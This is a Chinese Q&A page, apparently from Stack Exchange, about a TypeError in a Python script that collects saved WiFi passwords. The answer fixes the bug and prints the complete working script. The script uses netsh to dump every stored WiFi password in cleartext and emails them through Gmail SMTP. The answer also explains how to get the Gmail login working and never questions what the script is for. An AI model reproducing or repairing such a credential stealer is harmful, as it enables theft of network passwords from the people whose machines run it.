运行WiFi密码采集Python脚本遇TypeError,需转字符串/字节对象,该改何处?
解决Python发送WiFi配置邮件时的TypeError问题
嘿,我看了你的问题和报错信息,这个问题其实很常见——你传给send_mail函数的results是一个列表,而不是字符串/字节对象,这就是报错TypeError: expected string or bytes-like object的核心原因。而且你现在的代码里,results最后只保存了最后一个WiFi的密码列表,根本没把所有WiFi的信息收集起来,肯定没法正确发邮件呀!
先给你理清楚核心问题点:
- 你的循环里每次处理一个WiFi,
results会被重新赋值为当前WiFi的密码列表(比如['123456']或者空列表[]) - 最后调用
send_mail时,你传的是这个仅存最后一个WiFi信息的列表,而smtplib.sendmail要求消息必须是字符串或字节类型,直接传列表自然会触发类型错误。
接下来是修改方案,我会给出完整的修正代码,同时标注关键修改的地方:
import subprocess, smtplib def send_mail(email,password,message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email,password) server.sendmail(email, email, message) server.quit() # 新增:初始化一个空字符串,用来存储所有WiFi的信息 email_content = "" a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n') a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i] for i in a: results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n') results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] try: # 把当前WiFi的信息追加到email_content里,而不是只打印 wifi_info = "{:<30}| {:<}\n".format(i, results[0]) print(wifi_info.strip()) email_content += wifi_info except IndexError: wifi_info = "{:<30}| {:<}\n".format(i,"") print(wifi_info.strip()) email_content += wifi_info # 修改:把收集好的email_content(字符串)传给send_mail,而不是results列表 send_mail("example@gmail.com","Example123",email_content)
关键修改点说明:
- 新增
email_content字符串:用来累计所有WiFi的名称和密码信息,避免只保留最后一个WiFi的数据。 - 循环内追加信息到
email_content:每次处理完一个WiFi,就把格式化后的字符串加到email_content里,这样最后就有完整的所有WiFi信息了。 - 调用
send_mail时传入email_content:现在传入的是标准字符串类型,完全符合smtplib的要求,不会再报类型错误。
另外还有个小提醒:现在Gmail默认不允许普通密码直接通过SMTP登录了,你需要:
- 开启两步验证,然后创建一个应用专用密码,用这个密码代替代码里的
Example123 - 或者临时开启「允许低安全性应用访问」(不推荐,有安全风险)
这样修改后,你的代码就能正常把所有WiFi的信息发送到指定邮箱啦!
内容的提问来源于stack exchange,提问作者Tharun kumar
相关产品推荐
相关产品推荐

